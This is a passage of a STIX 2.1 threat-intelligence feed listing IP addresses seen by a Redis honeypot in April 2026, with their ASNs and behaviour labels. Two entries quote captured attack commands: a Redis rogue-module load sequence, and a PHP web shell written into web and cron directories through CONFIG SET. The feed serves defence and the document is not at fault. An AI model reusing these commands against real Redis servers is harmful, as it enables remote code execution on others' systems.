      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-20T13:25:10.000Z",
      "valid_until": "2026-05-22T13:25:09.000Z"
    },
    {
      "created": "2026-04-20T13:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=4; ports=6379; cc=US; asn=6939; asn_org=Hurricane Electric LLC; redis_cmd_hits=0",
      "id": "indicator--ac96b9cc-a302-4e05-b8e1-e8e9289fcb86",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-20T13:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.193']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-20T13:25:10.000Z",
      "valid_until": "2026-05-22T13:25:09.000Z"
    },
    {
      "created": "2026-04-20T14:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=4; ports=6379; cc=US; asn=14061; asn_org=DigitalOcean, LLC; redis_cmd_hits=0",
      "id": "indicator--79d2e27c-cb4a-4ecf-abd6-3a18f2e5ea88",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-20T14:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '143.244.165.110']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-20T14:25:10.000Z",
      "valid_until": "2026-05-22T14:25:09.000Z"
    },
    {
      "created": "2026-04-20T14:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=12; ports=6379; cc=US; asn=398324; asn_org=Censys, Inc.; redis_cmd_hits=0",
      "id": "indicator--9a09aa7a-f8dd-41fe-a59d-8bc83242f6eb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-20T14:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '66.132.172.187']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-20T14:25:10.000Z",
      "valid_until": "2026-05-22T14:25:09.000Z"
    },
    {
      "created": "2026-04-20T15:25:17.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=21; ports=6379; cc=DE; asn=14061; asn_org=DigitalOcean, LLC; cats=Detection of a Network Scan,Generic Protocol Command Decode; redis_cmds=GET / HTTP/1.1; redis_cmd_hits=0",
      "id": "indicator--133bf4d5-b2f5-4f7c-913d-0dd8fcbc918d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-20T15:25:17.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '46.101.166.141']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-20T15:25:17.000Z",
      "valid_until": "2026-05-22T15:25:09.000Z"
    },
    {
      "created": "2026-04-20T16:25:11.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=15; ports=6379; cc=US; asn=8075; asn_org=Microsoft Corporation; redis_cmd_hits=0",
      "id": "indicator--2f9bff07-4664-47a1-bc6f-df7cdd3db512",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-20T16:25:11.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '20.127.220.21']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-20T16:25:11.000Z",
      "valid_until": "2026-05-22T16:25:09.000Z"
    },
    {
      "created": "2026-04-20T17:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=RU; asn=200350; asn_org=Yandex.Cloud LLC; redis_cmd_hits=0",
      "id": "indicator--adc0f49c-69da-4011-ac7f-fd2ae2dfb3a7",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-20T17:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '178.154.236.35']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-20T17:25:10.000Z",
      "valid_until": "2026-05-22T17:25:09.000Z"
    },
    {
      "created": "2026-04-20T22:25:17.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=FR; asn=8560; asn_org=IONOS SE; redis_cmd_hits=0",
      "id": "indicator--f225a534-ccac-4ea8-860f-29b0ce5798b8",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-20T22:25:17.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '212.227.57.38']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-20T22:25:17.000Z",
      "valid_until": "2026-05-22T22:25:15.000Z"
    },
    {
      "created": "2026-04-21T03:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=20; ports=6379; cc=US; asn=14061; asn_org=DigitalOcean, LLC; redis_cmd_hits=0",
      "id": "indicator--7a6f3dca-39ed-4f0b-9200-bcf2177dbb4d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-21T03:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '142.93.4.248']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T03:25:10.000Z",
      "valid_until": "2026-05-23T03:25:09.000Z"
    },
    {
      "created": "2026-04-21T09:25:04.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=16; ports=6379; cc=US; asn=8075; asn_org=Microsoft Corporation; redis_cmd_hits=0",
      "id": "indicator--028bdcbe-4213-43a2-b385-6677f0167768",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-21T09:25:04.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '20.65.219.49']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T09:25:04.000Z",
      "valid_until": "2026-05-23T09:25:03.000Z"
    },
    {
      "created": "2026-04-21T09:25:04.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=CL; asn=31898; asn_org=Oracle Corporation; redis_cmd_hits=0",
      "id": "indicator--ea50ddb9-1aca-41d2-b1ac-7ae4f885825b",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-21T09:25:04.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '69.6.227.130']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T09:25:04.000Z",
      "valid_until": "2026-05-23T09:25:03.000Z"
    },
    {
      "created": "2026-04-21T13:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=US; asn=63949; asn_org=Akamai Connected Cloud; redis_cmd_hits=0",
      "id": "indicator--9e2ffda0-edd5-4caf-8462-2045c61bfc88",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-21T13:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '143.42.164.204']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T13:25:10.000Z",
      "valid_until": "2026-05-23T13:25:09.000Z"
    },
    {
      "created": "2026-04-21T15:25:11.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=26; ports=6379; cc=US; asn=6939; asn_org=Hurricane Electric LLC; redis_cmd_hits=0",
      "id": "indicator--889d01bc-c7a5-4179-be83-7022715816be",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-21T15:25:11.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '184.105.139.67']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T15:25:11.000Z",
      "valid_until": "2026-05-23T15:25:10.000Z"
    },
    {
      "created": "2026-04-21T15:25:11.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=4; ports=6379; cc=US; asn=6939; asn_org=Hurricane Electric LLC; redis_cmd_hits=0",
      "id": "indicator--e85c3636-bb5e-4b4c-95f5-97dad93d0960",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-21T15:25:11.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '184.105.139.95']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T15:25:11.000Z",
      "valid_until": "2026-05-23T15:25:10.000Z"
    },
    {
      "created": "2026-04-21T15:25:11.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=12; ports=6379; cc=US; asn=398324; asn_org=Censys, Inc.; redis_cmd_hits=0",
      "id": "indicator--7697e62e-a969-4209-8c8b-330ece866aaf",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-21T15:25:11.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '66.132.172.103']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T15:25:11.000Z",
      "valid_until": "2026-05-23T15:25:10.000Z"
    },
    {
      "created": "2026-04-21T16:26:14.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=23; ports=6379; cc=US; asn=8075; asn_org=Microsoft Corporation; redis_cmd_hits=0",
      "id": "indicator--fa464bf0-76eb-4828-8fe9-43ca5962ee96",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-21T16:26:14.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '20.65.192.33']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T16:26:14.000Z",
      "valid_until": "2026-05-23T16:25:09.000Z"
    },
    {
      "created": "2026-04-21T17:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=10; ports=6379; cc=CA; asn=8075; asn_org=Microsoft Corporation; redis_cmd_hits=0",
      "id": "indicator--4bf08bdb-1621-4b16-b240-3a426d74694a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-21T17:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '20.175.203.24']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T17:25:10.000Z",
      "valid_until": "2026-05-23T17:25:09.000Z"
    },
    {
      "created": "2026-04-21T17:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=NL; asn=49981; asn_org=WorldStream B.V.; redis_cmd_hits=0",
      "id": "indicator--d91cab75-0329-402c-93ab-ac2bf99b39a2",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-21T17:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '212.8.252.6']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T17:25:10.000Z",
      "valid_until": "2026-05-23T17:25:09.000Z"
    },
    {
      "created": "2026-04-21T18:25:09.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=10; ports=6379; cc=ZA; asn=8075; asn_org=Microsoft Corporation; redis_cmd_hits=0",
      "id": "indicator--0cbda9ce-65ef-4122-a636-74f97a0e2c98",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-21T18:25:09.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '20.87.198.19']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T18:25:09.000Z",
      "valid_until": "2026-05-23T18:25:08.000Z"
    },
    {
      "created": "2026-04-21T20:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=9; ports=6379; cc=US; asn=396982; asn_org=Google LLC; cats=Generic Protocol Command Decode; redis_cmd_hits=0",
      "id": "indicator--bd579c42-2e22-4d01-9baf-46ff83f8530a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-21T20:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '147.185.132.252']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T20:25:10.000Z",
      "valid_until": "2026-05-23T20:25:09.000Z"
    },
    {
      "created": "2026-04-21T21:25:29.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=US; asn=14061; asn_org=DigitalOcean, LLC; redis_cmd_hits=0",
      "id": "indicator--009e2141-16e6-44fe-9796-009cff9e6a99",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-21T21:25:29.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '157.230.92.14']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T21:25:29.000Z",
      "valid_until": "2026-05-23T21:25:09.000Z"
    },
    {
      "created": "2026-04-22T00:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=CN; asn=55990; asn_org=Huawei Cloud Service data center; redis_cmd_hits=0",
      "id": "indicator--4b9f6293-ef7e-4dcc-b537-f78622ad46a5",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-22T00:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '121.37.141.75']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-22T00:25:10.000Z",
      "valid_until": "2026-05-24T00:25:09.000Z"
    },
    {
      "created": "2026-04-22T00:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=10; ports=6379; cc=CN; asn=134810; asn_org=China Mobile Group JiLin communications corporation; cats=Generic Protocol Command Decode; redis_cmd_hits=0",
      "id": "indicator--cf0c0e8f-b3d2-4c37-bb81-f1ec3ee3963a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-22T00:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '36.135.17.52']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-22T00:25:10.000Z",
      "valid_until": "2026-05-24T00:25:09.000Z"
    },
    {
      "created": "2026-04-22T01:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=9; ports=6379; cc=CA; asn=8075; asn_org=Microsoft Corporation; redis_cmd_hits=0",
      "id": "indicator--3296db63-ee92-429d-90a4-d21591eddbff",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-22T01:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '4.174.178.51']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-22T01:25:10.000Z",
      "valid_until": "2026-05-24T01:25:09.000Z"
    },
    {
      "created": "2026-04-22T02:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=39; ports=6379; cc=CN; asn=37963; asn_org=Hangzhou Alibaba Advertising Co.,Ltd.; redis_cmds=config set rdbcompression no,config set dbfilename dump.rdb,SLAVEOF NO ONE,config set rdbcompression yes,MODULE LOAD /tmp/exp.so; redis_cmd_hits=0; cmd=\"SLAVEOF NO ONE\"",
      "id": "indicator--53a0e6cd-2133-48f6-913b-cbd9afaa035a",
      "labels": [
        "command_and_control"
      ],
      "modified": "2026-04-22T02:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '47.95.118.105']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-22T02:25:10.000Z",
      "valid_until": "2026-05-24T02:25:09.000Z"
    },
    {
      "created": "2026-04-22T02:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=18; ports=6379; cc=US; asn=10439; asn_org=CariNet, Inc.; redis_cmd_hits=0",
      "id": "indicator--50b798b1-1619-4cec-a221-a0c70a270814",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-22T02:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '66.240.223.208']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-22T02:25:10.000Z",
      "valid_until": "2026-05-24T02:25:09.000Z"
    },
    {
      "created": "2026-04-22T04:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=CN; asn=4811; asn_org=China Telecom Group; redis_cmd_hits=0",
      "id": "indicator--6db9f820-1d50-496d-a1e9-2cb8ddf9f98b",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-22T04:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '118.196.87.226']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-22T04:25:10.000Z",
      "valid_until": "2026-05-24T04:25:09.000Z"
    },
    {
      "created": "2026-04-22T04:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=6; ports=6379; cc=GB; asn=211298; asn_org=Driftnet Ltd; redis_cmd_hits=0",
      "id": "indicator--4a52f85a-873b-4a21-8f60-61ef5ceec466",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-22T04:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '193.163.125.28']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-22T04:25:10.000Z",
      "valid_until": "2026-05-24T04:25:09.000Z"
    },
    {
      "created": "2026-04-22T04:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=10; ports=6379; cc=US; asn=8075; asn_org=Microsoft Corporation; redis_cmd_hits=0",
      "id": "indicator--e426794b-be31-4f44-b6a9-8383a71838fb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-22T04:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '4.236.37.204']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-22T04:25:10.000Z",
      "valid_until": "2026-05-24T04:25:09.000Z"
    },
    {
      "created": "2026-04-22T07:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=15; ports=6379; cc=US; asn=8075; asn_org=Microsoft Corporation; redis_cmd_hits=0",
      "id": "indicator--7b0bf389-5edd-49ed-91f5-6933d2f66b4b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-22T07:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '135.237.126.169']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-22T07:25:10.000Z",
      "valid_until": "2026-05-24T07:25:09.000Z"
    },
    {
      "created": "2026-04-22T09:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=9; ports=6379; cc=CN; asn=37963; asn_org=Hangzhou Alibaba Advertising Co.,Ltd.; redis_cmd_hits=0",
      "id": "indicator--e9961e51-732b-419c-97f2-f69d67492e8b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-22T09:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '8.142.178.141']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-22T09:25:10.000Z",
      "valid_until": "2026-05-24T09:25:09.000Z"
    },
    {
      "created": "2026-04-22T11:25:05.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=21; ports=6379; cc=US; asn=14061; asn_org=DigitalOcean, LLC; redis_cmd_hits=0",
      "id": "indicator--953dd0b3-7591-4c66-97f5-f50a1f3e9977",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-22T11:25:05.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '161.35.116.145']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-22T11:25:05.000Z",
      "valid_until": "2026-05-24T11:25:03.000Z"
    },
    {
      "created": "2026-04-22T11:25:05.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=18; ports=6379; cc=US; asn=14061; asn_org=DigitalOcean, LLC; redis_cmd_hits=0",
      "id": "indicator--a7f20c7f-1cc3-40a1-aa97-83b70899c697",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-22T11:25:05.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '161.35.117.174']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-22T11:25:05.000Z",
      "valid_until": "2026-05-24T11:25:03.000Z"
    },
    {
      "created": "2026-04-22T13:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=6; ports=6379; cc=US; asn=63949; asn_org=Akamai Connected Cloud; redis_cmd_hits=0",
      "id": "indicator--df47d08f-93fe-46bf-95c8-b3e5662d6457",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-22T13:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.239.4.211']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-22T13:25:10.000Z",
      "valid_until": "2026-05-24T13:25:09.000Z"
    },
    {
      "created": "2026-04-22T13:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=US; asn=63949; asn_org=Akamai Connected Cloud; redis_cmd_hits=0",
      "id": "indicator--f8a58ca7-aaa4-48c6-a105-8c295e729bc0",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-22T13:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '45.33.95.64']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-22T13:25:10.000Z",
      "valid_until": "2026-05-24T13:25:09.000Z"
    },
    {
      "created": "2026-04-22T14:25:05.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=15; ports=6379; cc=US; asn=8075; asn_org=Microsoft Corporation; redis_cmd_hits=0",
      "id": "indicator--cedb9a46-af44-4d86-96f7-387df08add82",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-22T14:25:05.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '172.202.113.68']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-22T14:25:05.000Z",
      "valid_until": "2026-05-24T14:25:04.000Z"
    },
    {
      "created": "2026-04-22T15:25:11.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=16; ports=6379; cc=US; asn=8075; asn_org=Microsoft Corporation; redis_cmd_hits=0",
      "id": "indicator--1bfa346d-e27d-4498-b765-3dd9e078243e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-22T15:25:11.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '20.64.105.127']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-22T15:25:11.000Z",
      "valid_until": "2026-05-24T15:25:09.000Z"
    },
    {
      "created": "2026-04-22T17:26:12.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=US; asn=30600; asn_org=Metronet; redis_cmd_hits=0",
      "id": "indicator--a8756b87-b2ab-4cfb-a63a-f928ebba57e7",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-22T17:26:12.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '46.110.173.90']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-22T17:26:12.000Z",
      "valid_until": "2026-05-24T17:25:08.000Z"
    },
    {
      "created": "2026-04-22T20:25:05.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=53; ports=6379; cc=SG; asn=9009; asn_org=M247 Europe SRL; cats=Generic Protocol Command Decode; redis_cmds=CONFIG SET dir /var/www/pterodactyl/public/,CONFIG SET dir /etc/cron.d,CONFIG SET dir /srv/www/,CONFIG SET dir /var/www/html/public/,SET rce_payload \n\n<?php if(isset($_GET[\"c\"])){echo shell_exec($_GET[\"c\"]);} ?>\n\n; redis_cmd_hits=0; cmd=\"CONFIG SET dir /etc/cron.d\"",
      "id": "indicator--0577524d-9062-4fbe-82e2-0eb6a97851e7",
      "labels": [
        "malware_hosting"
      ],
      "modified": "2026-04-22T20:25:05.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '146.70.199.232']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-22T20:25:05.000Z",
      "valid_until": "2026-05-24T20:25:04.000Z"
    },
    {
      "created": "2026-04-22T22:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=CN; asn=37963; asn_org=Hangzhou Alibaba Advertising Co.,Ltd.; redis_cmd_hits=0",
      "id": "indicator--8f41ee61-0e1a-4c6a-af24-d0d590734615",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-22T22:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '118.31.1.163']",
